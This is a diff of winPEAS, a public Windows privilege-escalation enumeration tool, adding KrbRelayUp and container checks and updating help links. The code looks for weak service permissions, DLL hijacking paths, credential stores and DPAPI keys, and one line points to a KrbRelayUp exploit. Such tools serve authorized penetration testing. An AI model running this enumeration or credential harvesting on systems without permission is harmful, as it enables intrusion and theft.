Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services", "Check if you can modify any service"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services", "Check if you can modify any service");
if (modifiableServices.Count > 0) if (modifiableServices.Count > 0)
{ {
Beaprint.BadPrint(" LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s:"); Beaprint.BadPrint(" LOOKS LIKE YOU CAN MODIFY OR START/STOP SOME SERVICE/s:");
@@ -158,7 +158,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Looking if you can modify any service registry"); Beaprint.MainPrint("Looking if you can modify any service registry");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services-registry-permissions", "Check if you can modify the registry of a service");
List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(winPEAS.Checks.Checks.CurrentUserSiDs); List<Dictionary<string, string>> regPerms = ServicesInfoHelper.GetWriteServiceRegs(winPEAS.Checks.Checks.CurrentUserSiDs);
Dictionary<string, string> colorsWR = new Dictionary<string, string>() Dictionary<string, string> colorsWR = new Dictionary<string, string>()
@@ -186,7 +186,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Checking write permissions in PATH folders (DLL Hijacking)"); Beaprint.MainPrint("Checking write permissions in PATH folders (DLL Hijacking)");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dll-hijacking", "Check for DLL Hijacking in PATH folders"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dll-hijacking", "Check for DLL Hijacking in PATH folders");
Dictionary<string, string> path_dllhijacking = ServicesInfoHelper.GetPathDLLHijacking(); Dictionary<string, string> path_dllhijacking = ServicesInfoHelper.GetPathDLLHijacking();
foreach (KeyValuePair<string, string> entry in path_dllhijacking) foreach (KeyValuePair<string, string> entry in path_dllhijacking)
{ {

View File

@@ -79,6 +79,8 @@ namespace winPEAS.Checks
PrintInetInfo, PrintInetInfo,
PrintDrivesInfo, PrintDrivesInfo,
PrintWSUS, PrintWSUS,
PrintKrbRelayUp,
PrintInsideContainer,
PrintAlwaysInstallElevated, PrintAlwaysInstallElevated,
PrintLSAInfo, PrintLSAInfo,
PrintNtlmSettings, PrintNtlmSettings,
@@ -97,7 +99,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Basic System Information"); Beaprint.MainPrint("Basic System Information");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits", "Check if the Windows versions is vulnerable to some known exploit"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits", "Check if the Windows versions is vulnerable to some known exploit");
Dictionary<string, string> basicDictSystem = Info.SystemInfo.SystemInfo.GetBasicOSInfo(); Dictionary<string, string> basicDictSystem = Info.SystemInfo.SystemInfo.GetBasicOSInfo();
basicDictSystem["Hotfixes"] = Beaprint.ansi_color_good + basicDictSystem["Hotfixes"] + Beaprint.NOCOLOR; basicDictSystem["Hotfixes"] = Beaprint.ansi_color_good + basicDictSystem["Hotfixes"] + Beaprint.NOCOLOR;
Dictionary<string, string> colorsSI = new Dictionary<string, string> Dictionary<string, string> colorsSI = new Dictionary<string, string>
@@ -340,7 +342,7 @@ namespace winPEAS.Checks
static void PrintWdigest() static void PrintWdigest()
{ {
Beaprint.MainPrint("Wdigest"); Beaprint.MainPrint("Wdigest");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#wdigest", "If enabled, plain-text crds could be stored in LSASS"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#wdigest", "If enabled, plain-text crds could be stored in LSASS");
string useLogonCredential = RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest", "UseLogonCredential"); string useLogonCredential = RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest", "UseLogonCredential");
if (useLogonCredential == "1") if (useLogonCredential == "1")
Beaprint.BadPrint(" Wdigest is active"); Beaprint.BadPrint(" Wdigest is active");
@@ -351,7 +353,7 @@ namespace winPEAS.Checks
static void PrintLSAProtection() static void PrintLSAProtection()
{ {
Beaprint.MainPrint("LSA Protection"); Beaprint.MainPrint("LSA Protection");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#lsa-protection", "If enabled, a driver is needed to read LSASS memory (If Secure Boot or UEFI, RunAsPPL cannot be disabled by deleting the registry key)"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#lsa-protection", "If enabled, a driver is needed to read LSASS memory (If Secure Boot or UEFI, RunAsPPL cannot be disabled by deleting the registry key)");
string useLogonCredential = RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\LSA", "RunAsPPL"); string useLogonCredential = RegistryHelper.GetRegValue("HKLM", @"SYSTEM\CurrentControlSet\Control\LSA", "RunAsPPL");
if (useLogonCredential == "1") if (useLogonCredential == "1")
Beaprint.GoodPrint(" LSA Protection is active"); Beaprint.GoodPrint(" LSA Protection is active");
@@ -362,7 +364,7 @@ namespace winPEAS.Checks
static void PrintCredentialGuard() static void PrintCredentialGuard()
{ {
Beaprint.MainPrint("Credentials Guard"); Beaprint.MainPrint("Credentials Guard");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#credential-guard", "If enabled, a driver is needed to read LSASS memory"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#credential-guard", "If enabled, a driver is needed to read LSASS memory");
string lsaCfgFlags = RegistryHelper.GetRegValue("HKLM", @"System\CurrentControlSet\Control\LSA", "LsaCfgFlags"); string lsaCfgFlags = RegistryHelper.GetRegValue("HKLM", @"System\CurrentControlSet\Control\LSA", "LsaCfgFlags");
if (lsaCfgFlags == "1") if (lsaCfgFlags == "1")
@@ -386,7 +388,7 @@ namespace winPEAS.Checks
static void PrintCachedCreds() static void PrintCachedCreds()
{ {
Beaprint.MainPrint("Cached Creds"); Beaprint.MainPrint("Cached Creds");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/stealing-credentials/credentials-protections#cached-credentials", "If > 0, credentials will be cached in the registry and accessible by SYSTEM user"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections#cached-credentials", "If > 0, credentials will be cached in the registry and accessible by SYSTEM user");
string cachedlogonscount = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "CACHEDLOGONSCOUNT"); string cachedlogonscount = RegistryHelper.GetRegValue("HKLM", @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon", "CACHEDLOGONSCOUNT");
if (!string.IsNullOrEmpty(cachedlogonscount)) if (!string.IsNullOrEmpty(cachedlogonscount))
{ {
@@ -523,7 +525,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("UAC Status"); Beaprint.MainPrint("UAC Status");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access", "If you are in the Administrators group check how to bypass the UAC"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access", "If you are in the Administrators group check how to bypass the UAC");
Dictionary<string, string> uacDict = Info.SystemInfo.SystemInfo.GetUACSystemPolicies(); Dictionary<string, string> uacDict = Info.SystemInfo.SystemInfo.GetUACSystemPolicies();
Dictionary<string, string> colorsSI = new Dictionary<string, string>() Dictionary<string, string> colorsSI = new Dictionary<string, string>()
@@ -556,7 +558,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Checking WSUS"); Beaprint.MainPrint("Checking WSUS");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus");
string path = "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate"; string path = "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate";
string path2 = "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU"; string path2 = "Software\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU";
string HKLM_WSUS = RegistryHelper.GetRegValue("HKLM", path, "WUServer"); string HKLM_WSUS = RegistryHelper.GetRegValue("HKLM", path, "WUServer");
@@ -586,12 +588,58 @@ namespace winPEAS.Checks
} }
} }
static void PrintKrbRelayUp()
{
try
{
Beaprint.MainPrint("Checking KrbRelayUp");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#krbrelayup");
if (Checks.CurrentAdDomainName.Length > 0)
{
Beaprint.BadPrint(" The system is inside a domain (" + Checks.CurrentAdDomainName + ") so it could be vulnerable.");
Beaprint.InfoPrint("You can try https://github.com/Dec0ne/KrbRelayUp to escalate privileges");
}
else
{
Beaprint.GoodPrint(" The system isn't inside a domain, so it isn't vulnerable");
}
}
catch (Exception ex)
{
Beaprint.PrintException(ex.Message);
}
}
static void PrintInsideContainer()
{
try
{
Beaprint.MainPrint("Checking If Inside Container");
Beaprint.LinkPrint("", "If the binary cexecsvc.exe or associated service exists, you are inside Docker");
Dictionary<string, object> regVal = RegistryHelper.GetRegValues("HKLM", @"System\CurrentControlSet\Services\cexecsvc");
bool cexecsvcExist = File.Exists(Environment.SystemDirectory + @"\cexecsvc.exe");
if (regVal != null || cexecsvcExist)
{
Beaprint.BadPrint("You are inside a container");
}
else
{
Beaprint.GoodPrint("You are NOT inside a container");
}
}
catch (Exception ex)
{
Beaprint.PrintException(ex.Message);
}
}
static void PrintAlwaysInstallElevated() static void PrintAlwaysInstallElevated()
{ {
try try
{ {
Beaprint.MainPrint("Checking AlwaysInstallElevated"); Beaprint.MainPrint("Checking AlwaysInstallElevated");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated");
string path = "Software\\Policies\\Microsoft\\Windows\\Installer"; string path = "Software\\Policies\\Microsoft\\Windows\\Installer";
string HKLM_AIE = RegistryHelper.GetRegValue("HKLM", path, "AlwaysInstallElevated"); string HKLM_AIE = RegistryHelper.GetRegValue("HKLM", path, "AlwaysInstallElevated");
string HKCU_AIE = RegistryHelper.GetRegValue("HKCU", path, "AlwaysInstallElevated"); string HKCU_AIE = RegistryHelper.GetRegValue("HKCU", path, "AlwaysInstallElevated");
@@ -721,13 +769,18 @@ namespace winPEAS.Checks
try try
{ {
string formatString = " {0,-100} {1}\n"; string formatString = " {0,-100} {1,-70} {2}\n";
Beaprint.NoColorPrint(string.Format($"{formatString}", "Name", "Sddl")); Beaprint.NoColorPrint(string.Format($"{formatString}", "Name", "CurrentUserPerms", "Sddl"));
foreach (var namedPipe in NamedPipes.GetNamedPipeInfos()) foreach (var namedPipe in NamedPipes.GetNamedPipeInfos())
{ {
Beaprint.BadPrint(string.Format(formatString, namedPipe.Name, namedPipe.Sddl)); var colors = new Dictionary<string, string>
{
{namedPipe.CurrentUserPerms.Replace("[","\\[").Replace("]","\\]"), Beaprint.ansi_color_bad },
};
Beaprint.AnsiPrint(string.Format(formatString, namedPipe.Name, namedPipe.CurrentUserPerms, namedPipe.Sddl), colors);
} }
} }
catch (Exception ex) catch (Exception ex)

View File

@@ -80,7 +80,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Users"); Beaprint.MainPrint("Users");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups", "Check if you have some admin equivalent privileges"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups", "Check if you have some admin equivalent privileges");
List<string> usersGrps = User.GetMachineUsers(false, false, false, false, true); List<string> usersGrps = User.GetMachineUsers(false, false, false, false, true);
@@ -111,7 +111,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Current Token privileges"); Beaprint.MainPrint("Current Token privileges");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#token-manipulation", "Check if you can escalate privilege using some enabled token"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#token-manipulation", "Check if you can escalate privilege using some enabled token");
Dictionary<string, string> tokenPrivs = Token.GetTokenGroupPrivs(); Dictionary<string, string> tokenPrivs = Token.GetTokenGroupPrivs();
Beaprint.DictPrint(tokenPrivs, ColorsU(), false); Beaprint.DictPrint(tokenPrivs, ColorsU(), false);
} }

View File

@@ -48,7 +48,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Checking Windows Vault"); Beaprint.MainPrint("Checking Windows Vault");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-manager-windows-vault");
var vaultCreds = VaultCli.DumpVault(); var vaultCreds = VaultCli.DumpVault();
var colorsC = new Dictionary<string, string>() var colorsC = new Dictionary<string, string>()
@@ -68,7 +68,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Checking Credential manager"); Beaprint.MainPrint("Checking Credential manager");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#credentials-manager-windows-vault"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-manager-windows-vault");
var colorsC = new Dictionary<string, string>() var colorsC = new Dictionary<string, string>()
{ {
@@ -153,7 +153,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Checking for DPAPI Master Keys"); Beaprint.MainPrint("Checking for DPAPI Master Keys");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi");
var masterKeys = KnownFileCredsInfo.ListMasterKeys(); var masterKeys = KnownFileCredsInfo.ListMasterKeys();
if (masterKeys.Count != 0) if (masterKeys.Count != 0)
@@ -181,7 +181,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Checking for DPAPI Credential Files"); Beaprint.MainPrint("Checking for DPAPI Credential Files");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#dpapi"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#dpapi");
var credFiles = KnownFileCredsInfo.GetCredFiles(); var credFiles = KnownFileCredsInfo.GetCredFiles();
Beaprint.DictPrint(credFiles, false); Beaprint.DictPrint(credFiles, false);
@@ -201,7 +201,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Checking for RDCMan Settings Files"); Beaprint.MainPrint("Checking for RDCMan Settings Files");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager", Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager",
"Dump credentials from Remote Desktop Connection Manager"); "Dump credentials from Remote Desktop Connection Manager");
var rdcFiles = RemoteDesktop.GetRDCManFiles(); var rdcFiles = RemoteDesktop.GetRDCManFiles();
Beaprint.DictPrint(rdcFiles, false); Beaprint.DictPrint(rdcFiles, false);
@@ -307,7 +307,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Looking AppCmd.exe"); Beaprint.MainPrint("Looking AppCmd.exe");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#appcmd-exe"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#appcmd-exe");
var appCmdPath = Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe"); var appCmdPath = Environment.ExpandEnvironmentVariables(@"%systemroot%\system32\inetsrv\appcmd.exe");
@@ -368,7 +368,7 @@ namespace winPEAS.Checks
try try
{ {
Beaprint.MainPrint("Looking SSClient.exe"); Beaprint.MainPrint("Looking SSClient.exe");
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#scclient-sccm"); Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#scclient-sccm");
if (File.Exists(Environment.ExpandEnvironmentVariables(@"%systemroot%\Windows\CCM\SCClient.exe"))) if (File.Exists(Environment.ExpandEnvironmentVariables(@"%systemroot%\Windows\CCM\SCClient.exe")))
{ {

View File

@@ -34,9 +34,7 @@ namespace winPEAS.Helpers
private static string Advisory = private static string Advisory =
"winpeas should be used for authorized penetration testing and/or educational purposes only." + "winpeas should be used for authorized penetration testing and/or educational purposes only." +
"Any misuse of this software will not be the responsibility of the author or of any other collaborator. " + "Any misuse of this software will not be the responsibility of the author or of any other collaborator. " +
"Use it at your own networks and/or with the network owner's permission."; "Use it at your own devices and/or with the device owner's permission.";
private static string Version = "ng";
///////////////////////////////// /////////////////////////////////
///////// PRINT THINGS ///////// ///////// PRINT THINGS /////////
@@ -44,32 +42,31 @@ namespace winPEAS.Helpers
public static void PrintBanner() public static void PrintBanner()
{ {
Console.WriteLine(BLUE + string.Format(@" Console.WriteLine(BLUE + string.Format(@"
{0}*((,.,/((((((((((((((((((((/, */ {0}((((((((((((((((((((((((((((((((
{0},/*,..*((((((((((((((((((((((((((((((((((, {0}(((((((((((((((((((((((((((((((((((((((((((
{0},*/((((((((((((((((((/, .*//((//**, .*(((((((* {0}(((((((((((((({2}**********/{1}##########{0}(((((((((((((
{0}(((((((((((((((({2}**********/{1}########## {0}.(* ,((((((( {0}(((((((((((({2}********************/{1}#######{0}(((((((((((
{0}(((((((((((/{2}********************/{1}####### {0}.(. ((((((( {0}(((((((({2}******************{3}/@@@@@/{0}{2}****{1}######{0}((((((((((
{0}((((((..{2}******************{3}/@@@@@/{2}***/{1}###### {0}./((((((( {0}(((((({2}********************{3}@@@@@@@@@@/{0}{2}***,{1}####{0}((((((((((
{0},,....{2}********************{3}@@@@@@@@@@{2}(***,{1}#### {0}.//(((((( {0}((((({2}********************{3}/@@@@@%@@@@/{0}{2}********{1}##{0}(((((((((
{0}, ,..{2}********************{3}/@@@@@%@@@@{2}/********{1}##{0}((/ /(((( {0}((({1}############{2}*********{3}/%@@@@@@@@@/{0}{2}************{0}((((((((
{0}..(({1}###########{2}*********{3}/%@@@@@@@@@{2}/************{0},,..(((( {0}(({1}##################(/{2}******{3}/@@@@@/{0}{2}***************{0}((((((
{0}.({1}##################(/{2}******{3}/@@@@@{2}/***************{0}.. /(( {0}(({1}#########################(/{2}**********************{0}(((((
{0}.({1}#########################(/{2}**********************{0}..*(( {0}(({1}##############################(/{2}*****************{0}(((((
{0}.({1}##############################(/{2}*****************{0}.,((( {0}(({1}###################################(/{2}************{0}(((((
{0}.({1}###################################(/{2}************{0}..((( {0}(({1}#######################################({2}*********{0}(((((
{0}.({1}#######################################({2}*********{0}..((( {0}(({1}#######(,.***.,(###################(..***.{2}*******{0}(((((
{0}.({1}#######(,.***.,(###################(..***.{2}*******{0}..((( {0}(({1}#######*(#####((##################((######/({2}*****{0}(((((
{0}.({1}#######*(#####((##################((######/({2}*****{0}..((( {0}(({1}###################(/***********(##############({0})(((((
{0}.({1}###################(/***********(##############({0}...((( {0}((({1}#####################/*******(################{0})((((((
{0}.(({1}#####################/*******(################{0}.(((((( {0}(((({1}############################################{0})((((((
{0}.((({1}############################################{0}(..(((( {0}((((({1}##########################################{0})(((((((
{0}..((({1}##########################################{0}(..((((( {0}(((((({1}########################################{0})(((((((
{0}....(({1}########################################{0}( .((((( {0}(((((((({1}####################################{0})((((((((
{0}......(({1}####################################{0}( .(((((( {0}((((((((({1}#################################{0})(((((((((
{0}((((((((({1}#################################{0}(../(((((( {0}(((((((((({1}##########################{0})(((((((((
{0}(((((((((/{1}##########################{0}(/..(((((( {0}((((((((((((((((((((((((((((((((((((((
{0}(((((((((/,. ,*//////*,. ./(((((((((((((((. {0}((((((((((((((((((((((((((((((", LGREEN, GREEN, BLUE, NOCOLOR) + NOCOLOR);
{0}(((((((((((((((((((((((((((((/", LGREEN, GREEN, BLUE, NOCOLOR) + NOCOLOR);
Console.WriteLine(); Console.WriteLine();
Console.WriteLine(LYELLOW + "ADVISORY: " + BLUE + Advisory); Console.WriteLine(LYELLOW + "ADVISORY: " + BLUE + Advisory);
@@ -82,15 +79,15 @@ namespace winPEAS.Helpers
// Patreon link // Patreon link
Console.WriteLine(GREEN + string.Format(@" Console.WriteLine(GREEN + string.Format(@"
/---------------------------------------------------------------------------\ /---------------------------------------------------------------------------------\
| {1}Do you like PEASS?{0} | | {1}Do you like PEASS?{0} |
|---------------------------------------------------------------------------| |---------------------------------------------------------------------------------|
| {3}Become a Patreon{0} : {2}https://www.patreon.com/peass{0} | | {3}Get the latest version{0} : {2}https://github.com/sponsors/carlospolop{0} |
| {3}Follow on Twitter{0} : {2}@carlospolopm{0} | | {3}Follow on Twitter{0} : {2}@carlospolopm{0} |
| {3}Respect on HTB{0} : {2}SirBroccoli & makikvues{0} | | {3}Respect on HTB{0} : {2}SirBroccoli {0} |
|---------------------------------------------------------------------------| |---------------------------------------------------------------------------------|
| {1}Thank you!{0} | | {1}Thank you!{0} |
\---------------------------------------------------------------------------/ \---------------------------------------------------------------------------------/
", GREEN, BLUE, RED, YELLOW) + NOCOLOR); ", GREEN, BLUE, RED, YELLOW) + NOCOLOR);
} }
@@ -102,13 +99,13 @@ namespace winPEAS.Helpers
PrintBanner(); PrintBanner();
} }
Console.WriteLine(YELLOW + " WinPEAS" + GREEN + Version + NOCOLOR + YELLOW + " by @carlospolopm, makikvues(makikvues2[at]gmail[dot]com)" + NOCOLOR); Console.WriteLine(YELLOW + " WinPEAS-ng" + NOCOLOR + YELLOW + " by @carlospolopm" + NOCOLOR);
PrintMarketingBanner(); PrintMarketingBanner();
PrintLegend(); PrintLegend();
Console.WriteLine(); Console.WriteLine();
LinkPrint("https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation", "You can find a Windows local PE Checklist here:"); Console.WriteLine(BLUE + " You can find a Windows local PE Checklist here: "+YELLOW+"https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation");
} }
static void PrintLegend() static void PrintLegend()
@@ -125,26 +122,31 @@ namespace winPEAS.Helpers
public static void PrintUsage() public static void PrintUsage()
{ {
Console.WriteLine(YELLOW + " [*] " + GREEN + "WinPEAS is a binary to enumerate possible paths to escalate privileges locally" + NOCOLOR); Console.WriteLine(YELLOW + " [*] " + GREEN + "WinPEAS is a binary to enumerate possible paths to escalate privileges locally" + NOCOLOR);
Console.WriteLine(LBLUE + " quiet" + GRAY + " Do not print banner" + NOCOLOR); Console.WriteLine(LCYAN + " domain" + GRAY + " Enumerate domain information" + NOCOLOR);
Console.WriteLine(LBLUE + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR); Console.WriteLine(LCYAN + " systeminfo" + GRAY + " Search system information" + NOCOLOR);
Console.WriteLine(LBLUE + " domain" + GRAY + " Enumerate domain information" + NOCOLOR); Console.WriteLine(LCYAN + " userinfo" + GRAY + " Search user information" + NOCOLOR);
Console.WriteLine(LBLUE + " systeminfo" + GRAY + " Search system information" + NOCOLOR); Console.WriteLine(LCYAN + " processinfo" + GRAY + " Search processes information" + NOCOLOR);
Console.WriteLine(LBLUE + " userinfo" + GRAY + " Search user information" + NOCOLOR); Console.WriteLine(LCYAN + " servicesinfo" + GRAY + " Search services information" + NOCOLOR);
Console.WriteLine(LBLUE + " processinfo" + GRAY + " Search processes information" + NOCOLOR); Console.WriteLine(LCYAN + " applicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR);
Console.WriteLine(LBLUE + " servicesinfo" + GRAY + " Search services information" + NOCOLOR); Console.WriteLine(LCYAN + " networkinfo" + GRAY + " Search network information" + NOCOLOR);
Console.WriteLine(LBLUE + " applicationsinfo" + GRAY + " Search installed applications information" + NOCOLOR); Console.WriteLine(LCYAN + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR);
Console.WriteLine(LBLUE + " networkinfo" + GRAY + " Search network information" + NOCOLOR); Console.WriteLine(LCYAN + " browserinfo" + GRAY + " Search browser information" + NOCOLOR);
Console.WriteLine(LBLUE + " windowscreds" + GRAY + " Search windows credentials" + NOCOLOR); Console.WriteLine(LCYAN + " filesinfo" + GRAY + " Search generic files that can contains credentials" + NOCOLOR);
Console.WriteLine(LBLUE + " browserinfo" + GRAY + " Search browser information" + NOCOLOR); Console.WriteLine(LCYAN + " fileanalysis" + GRAY + " Search specific files that can contains credentials and for regexes inside files" + NOCOLOR);
Console.WriteLine(LBLUE + " filesinfo" + GRAY + " Search files that can contains credentials" + NOCOLOR); Console.WriteLine(LCYAN + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR);
Console.WriteLine(LBLUE + " eventsinfo" + GRAY + " Display interesting events information" + NOCOLOR);
Console.WriteLine(LBLUE + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
Console.WriteLine(LBLUE + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
Console.WriteLine(LBLUE + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR);
Console.WriteLine(); Console.WriteLine();
Console.WriteLine(LCYAN + " Additional checks (slower):"); Console.WriteLine(LCYAN + " quiet" + GRAY + " Do not print banner" + NOCOLOR);
Console.WriteLine(LBLUE + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR); Console.WriteLine(LCYAN + " notcolor" + GRAY + " Don't use ansi colors (all white)" + NOCOLOR);
Console.WriteLine(LBLUE + " -linpeas=[url]" + GRAY + $" Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\n" + Console.WriteLine(LCYAN + " searchpf" + GRAY + " Search credentials via regex also in Program Files folders" + NOCOLOR);
Console.WriteLine(LCYAN + " wait" + GRAY + " Wait for user input between checks" + NOCOLOR);
Console.WriteLine(LCYAN + " debug" + GRAY + " Display debugging information - memory usage, method execution time" + NOCOLOR);
Console.WriteLine(LCYAN + " log[=logfile]" + GRAY + $" Log all output to file defined as logfile, or to \"{Checks.Checks.DefaultLogFile}\" if not specified" + NOCOLOR);
Console.WriteLine(LCYAN + " max-regex-file-size=1000000" + GRAY + $" Max file size (in Bytes) to search regex in. Default: {Checks.Checks.MaxRegexFileSize}B" + NOCOLOR);
Console.WriteLine();
Console.WriteLine(GREEN + " Additional checks (slower):");
Console.WriteLine(LCYAN + " -lolbas" + GRAY + $" Run additional LOLBAS check" + NOCOLOR);
Console.WriteLine(LCYAN + " -linpeas=[url]" + GRAY + $" Run additional linpeas.sh check for default WSL distribution, optionally provide custom linpeas.sh URL\n" +
$" (default: {Checks.Checks.LinpeasUrl})" + NOCOLOR); $" (default: {Checks.Checks.LinpeasUrl})" + NOCOLOR);
} }
@@ -213,9 +215,18 @@ namespace winPEAS.Helpers
Console.WriteLine(DGRAY + to_print + NOCOLOR); Console.WriteLine(DGRAY + to_print + NOCOLOR);
} }
public static void LongPathWarning(string path)
{
if (!Checks.Checks.WarningIsLongPath)
{
GrayPrint($"The path {path} is too large, try to enable LongPaths in the registry (no more warning about this will be shown)");
Checks.Checks.WarningIsLongPath = true;
}
}
internal static void PrintDebugLine(string log) internal static void PrintDebugLine(string log)
{ {
Console.WriteLine(YELLOW + " [Debug] " + log + NOCOLOR); Console.WriteLine(DGRAY + " [Debug] " + log + NOCOLOR);
Console.WriteLine(); Console.WriteLine();
} }
@@ -230,6 +241,11 @@ namespace winPEAS.Helpers
GrayPrint($" [X] Exception: {message}"); GrayPrint($" [X] Exception: {message}");
} }
public static void PrintNoNL(string message)
{
Console.Write(message);
}
public static void AnsiPrint(string to_print, Dictionary<string, string> ansi_colors_regexp) public static void AnsiPrint(string to_print, Dictionary<string, string> ansi_colors_regexp)
{ {
if (to_print.Trim().Length > 0) if (to_print.Trim().Length > 0)
@@ -269,7 +285,7 @@ namespace winPEAS.Helpers
{ {
foreach (KeyValuePair<string, string> entry in dicprint) foreach (KeyValuePair<string, string> entry in dicprint)
{ {
if (delete_nulls && string.IsNullOrEmpty(entry.Value.Trim())) if (delete_nulls && (entry.Value == null || string.IsNullOrEmpty(entry.Value.Trim())))
{ {
continue; continue;
} }
@@ -295,6 +311,7 @@ namespace winPEAS.Helpers
Console.WriteLine(line); Console.WriteLine(line);
} }
} }
public static void DictPrint(Dictionary<string, string> dicprint, bool delete_nulls) public static void DictPrint(Dictionary<string, string> dicprint, bool delete_nulls)
{ {
if (dicprint.Count > 0) if (dicprint.Count > 0)

View File

@@ -5,13 +5,15 @@
public string Filename { get; } public string Filename { get; }
public string Extension { get; } public string Extension { get; }
public string FullPath { get; } public string FullPath { get; }
public long Size { get; }
public bool IsDirectory { get; } public bool IsDirectory { get; }
public CustomFileInfo(string filename, string extension, string fullPath, bool isDirectory) public CustomFileInfo(string filename, string extension, string fullPath, long size, bool isDirectory)
{ {
